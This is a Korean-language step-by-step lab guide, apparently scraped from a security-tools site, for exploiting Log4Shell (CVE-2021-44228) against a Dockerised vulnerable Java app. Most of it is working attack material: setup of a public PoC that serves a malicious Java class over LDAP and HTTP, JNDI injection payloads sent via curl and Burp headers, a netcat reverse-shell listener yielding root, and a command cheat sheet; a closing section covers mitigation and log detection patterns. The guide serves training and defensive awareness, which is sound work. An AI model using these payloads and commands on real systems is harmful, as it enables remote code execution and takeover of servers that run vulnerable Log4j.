Log4Shell(CVE-2021-44228) 악용: 완전하고 현대적인 데모 랩

Log4Shell(CVE-2021-44228)은 지금까지 공개된 원격 코드 실행 취약점 중 가장 영향력이 큰 것 중 하나입니다. 널리 사용되는 Java 로깅 프레임워크인 Apache Log4j 2에 영향을 미치며, 공격자가 로그 메시지의 JNDI lookup을 악용하여 임의 코드를 실행할 수 있게 합니다.

이 가이드는 다음을 사용하여 완전하고 재현 가능한 데모 랩을 제공합니다:

• Kali Linux(공격자)
• Docker화된 취약한 Log4j2 애플리케이션
• 공개 PoC log4j-shell-poc
• curl, Burp Suite, Netcat

이 자료는 통제된 환경에서의 교육, 연구, 훈련 및 방어 인식 제고를 위해 설계되었습니다. 구조와 스타일은 동반 "Shellshock" 랩 README와 동일한 정신을 따릅니다.

📌 목차

0. 법적 및 윤리적 고지
1. 개괄
2. 학습 목표
3. 랩 아키텍처
4. 사전 요구 사항
5. Kali에 JDK 1.8.0_202 설치
6. 취약한 Log4j 애플리케이션 배포(Docker)
7. Exploit PoC 준비
8. poc.py가 JDK 1.8.0_202을 사용하도록 구성
9. Exploit 서비스 시작(LDAP + HTTP + Payload)
10. 리버스 셸 리스너 시작
11. curl로 Log4Shell 악용
12. Burp Suite로 Log4Shell 악용
13. 공격 체인 다이어그램
14. 대응 및 방어
15. 치트 시트(모든 명령어)
16. 스크린샷 갤러리(선택 사항)
17. 참고 자료
18. 크레딧

0. 법적 및 윤리적 고지

이 랩은 반드시 명시적 승인을 받은 통제된 환경(자신의 랩, 교실 VM 등)에서만 수행해야 합니다.

• 프로덕션 시스템을 공격하지 마십시오.
• 소유하거나 관리하지 않는 호스트를 대상으로 실행하지 마십시오.
• 이 자료는 교육, 연구 및 방어 목적으로만 사용하십시오.

1. 개괄

Log4Shell(CVE-2021-44228)은 Apache Log4j 2의 치명적인 RCE 취약점입니다.

문제는 취약한 Log4j2 버전이 공격자가 제어하는 다음과 같은 문자열을 해석한다는 데서 발생합니다:

${jndi:ldap://ATTACKER_IP:1389/a}

이 문자열이 로그에 기록되면 Log4j는:

1. 공격자가 제어하는 서버로 JNDI lookup(예: LDAP를 통한)을 수행합니다.
2. 악성 Java 클래스에 대한 참조를 수신합니다.
3. HTTP를 통해 클래스를 다운로드하여 JVM에 로드합니다.
4. 이를 실행하여 원격 코드 실행을 유발합니다.

이 랩에서 여러분은 다음을 수행합니다:

• Docker 컨테이너 안에서 취약한 Log4j2 웹 애플리케이션을 실행합니다.
• log4j-shell-poc을 사용하여 Kali에서 악성 LDAP + HTTP 서버를 실행합니다.
• curl 및 Burp Suite를 통해 Log4Shell payload를 전달합니다.
• 취약한 컨테이너에서 리버스 셸을 탈취합니다.

2. 학습 목표

이 랩을 마치면 다음을 할 수 있어야 합니다:

1. Log4Shell이 높은 수준에서 어떻게 작동하는지, 그리고 JNDI가 오용될 때 왜 위험한지 설명합니다.
2. Docker를 사용하여 취약한 Log4j2 애플리케이션을 배포합니다.
3. PoC에 필요한 JDK 1.8.0_202을 설치하고 구성합니다.
4. PoC 스크립트를 통해 악성 LDAP 서버와 HTTP 서버를 실행합니다.
5. 취약점을 트리거하여 리버스 셸을 획득합니다.
6. Burp Suite를 사용하여 HTTP 헤더에 exploit을 주입합니다.
7. 현실적인 완화 및 탐지 전략에 대해 논의합니다.

3. 랩 아키텍처

모든 구성 요소는 기존 가상 랩 위에서 실행됩니다. 이 문서에서는 다음을 가정합니다:

• Kali Linux VM이 공격자입니다.
• Kali가 취약한 앱이 포함된 Docker 컨테이너도 실행합니다.

핵심 아이디어

공격자는 다음을 주입합니다:

${jndi:ldap://192.168.1.4:1389/a}

HTTP 헤더에 넣습니다. 취약한 앱은 Log4j2를 사용하여 이를 로그로 기록합니다 → 192.168.1.4:1389로 JNDI LDAP lookup을 수행합니다 → http://192.168.1.4:8000에서 악성 클래스를 다운로드합니다 → 클래스를 실행하여 192.168.1.4:9001로 리버스 셸을 엽니다.

4. 사전 요구 사항

Kali에는 다음이 필요합니다:

• Docker(설치 및 작동).
• Python 3(Kali 기본).
• Netcat(nc).
• Burp Suite(Community Edition이면 충분).
• 초기 다운로드를 위한 인터넷 접속.
• Linux와 HTTP에 대한 기본적인 친숙함.

이 가이드 전체에서 Kali IP가 다음과 같다고 가정합니다:

192.168.1.4

IP가 다르다면 모든 명령어를 그에 맞게 조정하십시오.

5. Kali에 JDK 1.8.0_202 설치(필수)

PoC는 Java SE 8 Update 202(JDK 1.8.0_202) 에 의존합니다. 이후 Java 버전은 이 exploit이 사용하는 원격 클래스 로딩 동작을 제한하기 때문입니다.

Kali에 이미 OpenJDK 21(또는 유사한 버전)이 있어도 8u202을 별도로 설치해야 합니다.

5.1 작업 디렉터리 생성

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 HuaweiCloud 미러에서 JDK 8u202 다운로드

미러 루트:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Linux x64 tarball 다운로드(약 185MB):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # 약 185M여야 합니다

5.3 /usr/bin/jdk1.8.0_202에 압축 해제

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

--strip-components=1 옵션은 아카이브에서 최상위 디렉터리를 제거하여 파일이 /usr/bin/jdk1.8.0_202 아래에 직접 놓이게 합니다.

5.4 설치 확인

/usr/bin/jdk1.8.0_202/bin/java -version

예상 출력:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

이 출력이 보이면 JDK 1.8.0_202이 올바르게 설치된 것입니다.

6. 취약한 Log4j 애플리케이션 배포(Kali에서 Docker)

Kali의 새 터미널에서(~/Log4Shell에 있어도 됩니다):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

다음과 유사한 로그가 보여야 합니다:

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...

• 이제 앱은 Kali에서 http://127.0.0.1:8080/로 접근할 수 있습니다.
• 이 터미널을 계속 실행해 두십시오. 이것이 대상입니다.

빠른 정상 작동 확인:

curl http://127.0.0.1:8080/

Whitelabel Error Page(HTTP 400)가 보일 수 있습니다. 괜찮습니다 – 필요한 것은 앱이 실행 중이고 요청을 로그로 기록하는 것뿐입니다.

7. Kali에서 Exploit PoC 준비

7.1 log4j-shell-poc 클론

새 터미널에서:

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

파일 확인:

ls
# poc.py, target/, README 등. Exploit.java는 나중에 생성됩니다.

8. poc.py가 JDK 1.8.0_202을 사용하도록 구성

기본적으로 poc.py는 리포지토리 안의 jdk1.8.0_20이라는 디렉터리에서 로컬 JDK를 찾을 것으로 예상합니다. 대신 JDK 8u202을 /usr/bin/jdk1.8.0_202에 설치했으므로 스크립트를 업데이트해야 합니다.

8.1 편집기에서 poc.py 열기

nano poc.py

8.2 원래 Java 경로 줄 찾기

jdk1.8.0_20을 검색합니다(nano에서: Ctrl+W, jdk1.8.0_20 입력, Enter).

다음과 같은 세 곳을 찾을 수 있습니다:

subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])

exit_code = subprocess.call([
    os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

8.3 JDK 8u202의 절대 경로로 교체

다음으로 교체합니다:

subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])

exit_code = subprocess.call([
    "/usr/bin/jdk1.8.0_202/bin/java",
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    "/usr/bin/jdk1.8.0_202/bin/java",
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

저장하고 종료합니다:

• Ctrl + O → Enter
• Ctrl + X

이제 PoC는 /usr/bin의 JDK 1.8.0_202을 사용합니다.

9. Exploit 서비스 시작(LDAP + HTTP + Payload 생성기)

~/Log4Shell/log4j-shell-poc에서:

9.1 PoC 스크립트 실행

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

매개변수:

• --userip – Kali IP(공격자): 예: 192.168.1.4.
• --webport – 내장 HTTP 서버 포트: 8000.
• --lport – payload가 다시 연결하는 포트: 9001.

모든 것이 올바르게 구성되었다면 다음과 같은 내용이 보여야 합니다:

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389

중요:

• LDAP 서버가 포트 1389에서 수신 대기합니다.

• HTTP 서버가 포트 8000에서 수신 대기합니다.

• 주입할 정확한 payload가 출력됩니다:

  root@kitploit:~

  ${jndi:ldap://192.168.1.4:1389/a}
  

이 터미널을 계속 실행해 두십시오.

10. 리버스 셸 리스너 시작(Netcat)

Kali에서 또 다른 새 터미널을 엽니다:

nc -nvlp 9001

다음이 보여야 합니다:

listening on [any] 9001 ...

이 리스너가 취약한 애플리케이션으로부터 리버스 셸을 수신합니다.

이 시점에서 다음이 준비되어 있어야 합니다:

1. 취약한 앱을 실행하는 Docker 컨테이너(포트 8080).
2. LDAP(1389) 및 HTTP(8000)를 실행하는 poc.py.
3. 9001에서 수신 대기하는 Netcat.

11. curl로 Log4Shell 악용

먼저 원시 HTTP 요청을 사용하여 exploit이 작동함을 증명합니다.

새 터미널(또는 가능하면 기존 터미널 재사용)에서:

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

무슨 일이 일어나는가:

1. 취약한 앱이 요청을 수신하고 X-Api-Version 헤더를 로그로 기록합니다.
2. Log4j2가 ${jndi:ldap://192.168.1.4:1389/a}를 보고 JNDI LDAP lookup을 수행합니다.
3. LDAP 서버(poc.py 내부)가 HTTP 서버에서 호스팅되는 악성 Java 클래스에 대한 참조로 응답합니다.
4. 앱이 클래스를 다운로드하고 실행합니다.
5. 클래스가 192.168.1.4:9001로 다시 연결하여 셸을 생성합니다.

성공하면 Netcat 터미널에 다음이 표시됩니다:

connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...

이제 Docker 컨테이너 내부의 루트 셸을 얻었습니다.

시도해 보세요:

id
hostname
ls /

다음으로 종료:

exit

Netcat은 수신 대기 상태로 돌아갑니다.

12. Burp Suite로 Log4Shell 악용(브라우저 방식)

이제 Burp Suite를 매개로 하는 브라우저를 사용하여 동일한 exploit 경로를 시연합니다.

12.1 Firefox가 Burp를 프록시로 사용하도록 구성

1. Kali에서 Burp Suite를 시작합니다.

2. Burp에서 Proxy 리스너가 127.0.0.1:8080에서 실행 중인지 확인합니다.

3. Firefox에서:

   • 설정 → 네트워크 설정 → 수동 프록시 구성.
   • HTTP 프록시: 127.0.0.1, 포트: 8080.
   • "HTTPS에도 이 프록시 사용" 체크.
   • 127.0.0.1에 대한 예외가 없는지 확인합니다.

12.2 초기 요청 캡처

1. Burp → Proxy → Intercept에서 Intercept가 ON인지 확인합니다.

2. Firefox에서 다음으로 이동:

   root@kitploit:~

   http://127.0.0.1:8080/
   

3. Burp가 가로챈 요청을 표시합니다. 예:

   root@kitploit:~

   GET / HTTP/1.1
   Host: 127.0.0.1:8080
   User-Agent: Mozilla/5.0 ...
   ...
   

12.3 요청을 Repeater로 보내기

1. Proxy → Intercept 탭에서 요청을 마우스 오른쪽 버튼으로 클릭합니다.
2. Send to Repeater를 선택합니다.
3. Repeater 탭으로 전환합니다.

12.4 Log4Shell payload를 HTTP 헤더에 주입

Repeater에서 요청을 수정하여 X-Api-Version 헤더를 포함시킵니다:

GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

참고:

• 192.168.1.4가 다르다면 실제 Kali IP로 바꾸십시오.
• ${} 문자를 URL 인코딩하지 마십시오 – 표시된 그대로 정확히 나타나야 합니다.
• Connection: close는 상황을 단순하게 유지합니다(선택 사항).

12.5 악성 요청 보내기

1. poc.py와 Netcat 리스너가 계속 실행 중인지 확인합니다.
2. Burp Repeater에서 Send를 클릭합니다.

다시 400 Whitelabel Error Page가 보일 수 있습니다 – 괜찮습니다.

Netcat 터미널을 확인합니다:

listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...

이번에는 Burp로 수정된 HTTP 요청을 사용하여 컨테이너에서 다시 루트 셸을 획득했습니다. 이는 현실적인 웹 공격 워크플로우를 반영합니다.

13. 공격 체인의 작동 방식(기술 요약)

1. 공격자가 JNDI payload를 제작합니다:

   root@kitploit:~

   ${jndi:ldap://192.168.1.4:1389/a}
   

2. 취약한 애플리케이션이 Log4j2를 사용하여 이 문자열을 로그로 기록합니다.

3. Log4j2가 ${jndi:...}를 해석하고 JNDI lookup을 수행합니다.

4. lookup은 LDAP를 사용하여 192.168.1.4:1389의 공격자 LDAP 서버에 연결합니다.

5. LDAP 서버(marshalsec)가 HTTP를 통해 호스팅되는 공격자 제어 클래스를 가리키는 javaNamingReference로 응답합니다. 예:

   root@kitploit:~

   http://192.168.1.4:8000/Exploit.class
   

6. 피해자 JVM이 이 클래스를 다운로드하여 로드합니다.

7. 클래스의 생성자가 192.168.1.4:9001로 소켓을 열고 /bin/sh를 바인딩합니다.

8. 공격자의 Netcat 리스너가 들어오는 연결을 수신하고 컨테이너 내부에서 원격 루트 셸을 얻습니다.

14. 완화 및 방어

실제 환경에서는 여러 방어 계층을 적용해야 합니다.

14.1 Log4j2 업그레이드

• 2.17.1 이상(또는 공급업체 권장 보안 버전)으로 업그레이드합니다.
• 이러한 버전은 기본적으로 JNDI lookup을 비활성화하거나 크게 제한합니다.

14.2 JNDI / 메시지 lookup 비활성화

여전히 취약한 배포의 경우 다음을 추가합니다:

-Dlog4j2.formatMsgNoLookups=true

(해당되는 경우 – 일부 취약한 구성은 이 플래그만으로는 수정되지 않는다는 점에 유의하십시오.)

14.3 log4j-core JAR에서 JndiLookup 제거

심층 방어 조치로:

zip -q -d log4j-core-*.jar \
  org/apache/logging/log4j/core/lookup/JndiLookup.class

14.4 아웃바운드 네트워크 접근 강화

• 애플리케이션 서버에서 아웃바운드 LDAP, RMI 및 임의 HTTP를 제한합니다.
• 이그레스 필터링과 엄격한 방화벽 정책은 서버가 공격자 제어 인프라에 도달하는 것을 방지할 수 있습니다.

14.5 탐지 및 모니터링

• ${jndi: 또는 ${${lower:j}${upper:ndi}:와 같은 의심스러운 패턴을 로그에서 검색합니다.
• 서버에서 비정상적인 아웃바운드 LDAP/RMI 연결을 모니터링합니다.
• Log4Shell 지표 및 PoC 트래픽에 대한 IDS/IPS/SIEM 규칙을 배포합니다.

15. 명령어 치트 시트

이 랩에서 사용된 명령어의 간결한 개요입니다.

15.1 작업 디렉터리

mkdir -p ~/Log4Shell
cd ~/Log4Shell

15.2 JDK 8u202 다운로드(약 185MB)

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz

15.3 JDK 1.8.0_202 설치

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

/usr/bin/jdk1.8.0_202/bin/java -version

15.4 취약한 Docker 애플리케이션 실행

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

15.5 PoC 리포지토리 클론

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

15.6 poc.py Java 경로 업데이트(요약)

다음을 교체:

os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java")  # 두 번 사용됨

다음으로:

"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"

15.7 PoC 시작(LDAP + HTTP + payload)

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

15.8 Netcat 리버스 셸 리스너

nc -nvlp 9001

15.9 curl로 exploit

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

15.10 헤더용 payload 문자열

${jndi:ldap://192.168.1.4:1389/a}

15.11 Burp Repeater 헤더

X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}

16. 스크린샷 갤러리

17. 참고 자료

• 원본 PoC: kozmer/log4j-shell-poc
• 취약한 데모 애플리케이션: christophetd/log4shell-vulnerable-app
• Apache Log4j 보안 취약점: https://logging.apache.org/log4j/2.x/security.html
• CVE-2021-44228에 대한 NIST NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. 크레딧